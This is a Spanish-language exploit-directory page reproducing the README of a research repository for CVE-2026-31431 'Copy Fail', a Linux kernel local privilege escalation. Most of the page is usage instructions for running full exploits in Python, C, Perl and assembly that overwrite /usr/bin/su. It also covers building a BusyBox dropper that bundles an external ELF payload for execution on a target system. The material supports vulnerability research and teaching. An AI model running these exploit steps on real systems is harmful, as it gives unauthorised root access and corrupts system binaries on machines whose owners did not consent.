Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-31431-Copy-Fail — Artefactos de investigación, scripts de PoC y activos de laboratorio para el artículo sobre escalada de privilegios local Copy Fail Linux en https://4xura.com/binex/kernel/copy-fail | Kitploit
Herramientas/GitHubGitHub/4xura/cve-2026-31431-copy-fail
Escalada de PrivilegiosExplotaciónShellcodePapers e InvestigaciónAprendizaje y EducaciónDesarrollo de PayloadsExplotación de BinariosLabs y Práctica

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
4xura/cve-2026-31431-copy-fail

CVE-2026-31431-Copy-Fail

Artefactos de investigación, scripts de PoC y activos de laboratorio para el artículo sobre escalada de privilegios local Copy Fail Linux en https://4xura.com/binex/kernel/copy-fail

Ver Repositorio
719hace 4 mesesAún no revisado

CVE-2026-31431: Cuando la copia no es una copia y el fallo llega demasiado tarde

Artefactos y scripts para el artículo de CopyFail.

El recorrido detallado:

  • https://4xura.com/binex/kernel/copy-fail/

Estructura

  • proof-of-concept/ contiene las demostraciones solo con primitivas usadas en el artículo.
  • exploit-scripts/ contiene las implementaciones completas del exploit en Python, C, Perl y ensamblador x86_64.
  • bpftrace-scripts/ contiene los pequeños ayudantes de rastreo usados durante el análisis en tiempo de ejecución.

Requisito previo

Solo los artefactos de Perl, ensamblador y BusyBox esperan un ELF de reemplazo externo. En los ejemplos a continuación, ese archivo se llama payload.pwnkit.elf, pero cualquier nombre de archivo está bien.

Ese payload no se genera dentro de este repositorio. Créalo primero siguiendo el flujo de trabajo del payload del artículo, luego coloque el ELF resultante en el mismo directorio de trabajo que el artefacto que desea ejecutar.

Los PoCs primitivos y los controladores de exploit en Python/C se pueden ejecutar directamente tal cual.

1. PoCs primitivos

Estos PoCs son principalmente para demostración en el artículo. Muestran la primitiva de sobrescritura de forma aislada, no el flujo completo de reemplazo-ejecución.

Para ejecutar la demo en Python, entre al directorio PoC y ejecute el script:

cd proof-of-concept
python3 copyfail_poc.py

Para ejecutar la demo en C, constrúyala primero y luego ejecute el binario resultante:

cd proof-of-concept
gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
./copyfail_poc

2. Exploit en Python

El exploit en Python es autocontenido y mantiene los bytes de reemplazo dentro del propio script.

Cambie al directorio del exploit y ejecute la ruta de destino predeterminada:

cd exploit-scripts
python3 exploit.py

Si desea un nombre base de destino diferente, pase como primer argumento. Para habilitar los registros de sobrescritura por fragmento, establezca DEBUG=1:

python3 exploit.py su
DEBUG=1 python3 exploit.py su

3. Exploit en C

El exploit en C también es autocontenido. Si desea preparar un reemplazo diferente, primero edite PAYLOAD_BYTES en exploit-scripts/exploit.c.

Construya el binario estático (opcional) de la siguiente manera:

cd exploit-scripts
gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz

Luego ejecute el destino predeterminado, o pase un nombre base diferente. El registro de depuración se controla mediante DEBUG=1:

./exploit
./exploit su
DEBUG=1 ./exploit su

4. Exploit en Perl

Esta versión lee un payload ELF externo en lugar de incrustar bytes de reemplazo en el script.

Ejecútelo desde el directorio del exploit. Sin argumentos adicionales, usa el destino predeterminado y la ruta del payload predeterminada:

cd exploit-scripts
perl exploit.pl

Si desea elegir tanto la ruta de la víctima como el ELF del payload explícitamente, pase como argumentos. El registro de depuración también se controla mediante DEBUG=1:

perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
DEBUG=1 perl exploit.pl /usr/bin/su ./payload.pwnkit.elf

5. Exploit en ensamblador

Esta versión también consume un payload ELF externo. En el ejemplo a continuación, se llama payload.pwnkit.elf, pero puede usar cualquier nombre de archivo. Si lo renombra, actualice la línea incbin en exploit-scripts/exploit.asm para que coincida.

Construya el controlador en ensamblador con nasm y ld:

cd exploit-scripts
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.o

Luego ejecute el destino predeterminado, o pase una ruta de destino completa:

./exploit_asm
./exploit_asm /usr/bin/su

6. Dropper para BusyBox

Este empaqueta el controlador en ensamblador y un payload ELF externo en un ejecutor compatible con BusyBox. El ejemplo a continuación usa payload.pwnkit.elf, pero cualquier nombre de archivo de payload está bien siempre que pase la misma ruta al empaquetador.

Genere el dropper desde el directorio del exploit:

cd exploit-scripts
sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
chmod +x copyfail-busybox.sh

En el sistema de destino, ejecute el script generado con BusyBox sh:

busybox sh ./copyfail-busybox.sh /usr/bin/su

7. Ayudantes de Bpftrace

Antes de ejecutar los ayudantes de rastreo, verifique que los símbolos relevantes estén disponibles:

sudo cat /proc/kallsyms | grep -E 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy'

Para observar las páginas de archivo que entran en la ruta de splicing, ejecute:

sudo bpftrace ./bpftrace-scripts/bpftrace-filemap-splice.bt

Para observar los datos respaldados por tuberías (pipe) que llegan a AF_ALG, ejecute:

sudo bpftrace ./bpftrace-scripts/bpftrace-af-alg-sendmsg.bt

Para observar la función de devolución de llamada vulnerable authencesn de descifrado, ejecute:

sudo bpftrace ./bpftrace-scripts/bpftrace-authencesn-decrypt.bt
Descargar herramienta